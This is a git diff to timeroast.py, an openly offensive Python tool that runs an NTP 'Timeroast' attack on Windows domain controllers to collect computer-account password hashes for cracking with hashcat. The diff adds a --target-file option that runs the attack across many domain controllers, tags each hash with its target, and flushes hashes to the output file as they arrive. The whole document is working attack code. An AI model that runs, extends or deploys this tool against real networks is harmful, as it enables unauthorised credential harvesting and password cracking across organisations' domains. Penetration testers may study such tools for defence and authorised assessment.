diff --git a/timeroast.py b/timeroast.py index 2fcc9c8..a1e9d78 100755 --- a/timeroast.py +++ b/timeroast.py @@ -17,9 +17,9 @@ DEFAULT_RATE = 180 DEFAULT_GIVEUP_TIME = 24 -def hashcat_format(rid : int, hashval : bytes, salt : bytes) -> str: - """Encodes hash in Hashcat-compatible format (with username prefix).""" - return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' +def hashcat_format(target : str, rid : int, hashval : bytes, salt : bytes) -> str: + """Encodes hash in Hashcat-compatible format (with target and username prefix to prevent duplicates across domains).""" + return f'{target}_{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, old_pwd : bool, src_port : int = 0) -> List[Tuple[int, bytes, bytes]]: @@ -71,12 +71,29 @@ def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, o yield (answer_rid, md5hash, salt) last_ok_time = time() +def parse_rids(arg): + """Parses the comma-seperated integer ranges into an iterator.""" + try: + ranges = [] + for part in arg.split(','): + if '-' in part: + [start, end] = part.split('-') + assert 0 <= int(start) < int(end) < 2**31 + ranges.append(range(int(start), int(end) + 1)) + else: + assert 0 <= int(part) < 2**31 + ranges.append([int(part)]) + + return chain(*ranges) + except: + raise ArgumentTypeError(f'Invalid number ranges: "{arg}".') + def get_args(): """Parse command-line arguments.""" argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\ """Performs an NTP 'Timeroast' attack against a domain controller. -Outputs the resulting hashes in the hashcat format 31300 with the --username flag (":$sntp-ms$$"). +Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("_:$sntp-ms$$"). Usernames within the hash file are user RIDs. In order to use a cracked password that does not contain the computer name, either look up the RID @@ -88,25 +105,6 @@ def get_args(): """ ) - - def num_ranges(arg): - # Comma-seperated integer ranges. - try: - ranges = [] - for part in arg.split(','): - if '-' in part: - [start, end] = part.split('-') - assert 0 <= int(start) < int(end) < 2**31 - ranges.append(range(int(start), int(end) + 1)) - else: - assert 0 <= int(part) < 2**31 - ranges.append([int(part)]) - - return chain(*ranges) - except: - raise ArgumentTypeError(f'Invalid number ranges: "{arg}".') - - # Configurable options. argparser.add_argument( '-o', '--out', @@ -115,7 +113,7 @@ def num_ranges(arg): ) argparser.add_argument( '-r', '--rids', - type=num_ranges, default=range(1, 2**31), metavar='RIDS', + type=str, default='1-2147483647', metavar='RIDS', help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\ 'By default, all possible RIDs will be tried until timeout.' ) @@ -141,10 +139,16 @@ def num_ranges(arg): help='NTP source port to use. A dynamic unprivileged port is chosen by default. Could be set to 123 to get around a strict firewall.' ) - # Required arguments. - argparser.add_argument( - 'dc', - help='Hostname or IP address of a domain controller that acts as NTP server.' + # Target grouping (Single DC vs Target File) + target_group = argparser.add_mutually_exclusive_group(required=True) + target_group.add_argument( + 'dc', nargs='?', + help='Hostname or IP address of a single domain controller that acts as NTP server.' + ) + target_group.add_argument( + '-tf', '--target-file', + type=FileType('r'), metavar='FILE', + help='File containing a list of target DCs (one IP/hostname per line).' ) return argparser.parse_args() @@ -155,9 +159,26 @@ def main(): args = get_args() output = args.out - for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout, args.old_hashes, args.src_port): - print(hashcat_format(rid, hashval, salt), file=output) + # Build target list based on arguments + targets = [] + if args.target_file: + targets = [line.strip() for line in args.target_file if line.strip()] + elif args.dc: + targets = [args.dc] + + # Loop through all targets + for target in targets: + print(f"[*] Timeroasting {target}...", file=stderr) # Printed to stderr so it doesn't corrupt stdout hashcat files + + # We parse RIDs inside the loop so the generator gets refreshed for every new target + rids_iterator = parse_rids(args.rids) + + for rid, hashval, salt in ntp_roast(target, rids_iterator, args.rate, args.timeout, args.old_hashes, args.src_port): + print(hashcat_format(target, rid, hashval, salt), file=output) + output.flush() # Force write out to file immediately so we don't lose hashes if manually cancelled + + print("[*] Finished.", file=stderr) if __name__ == '__main__': main()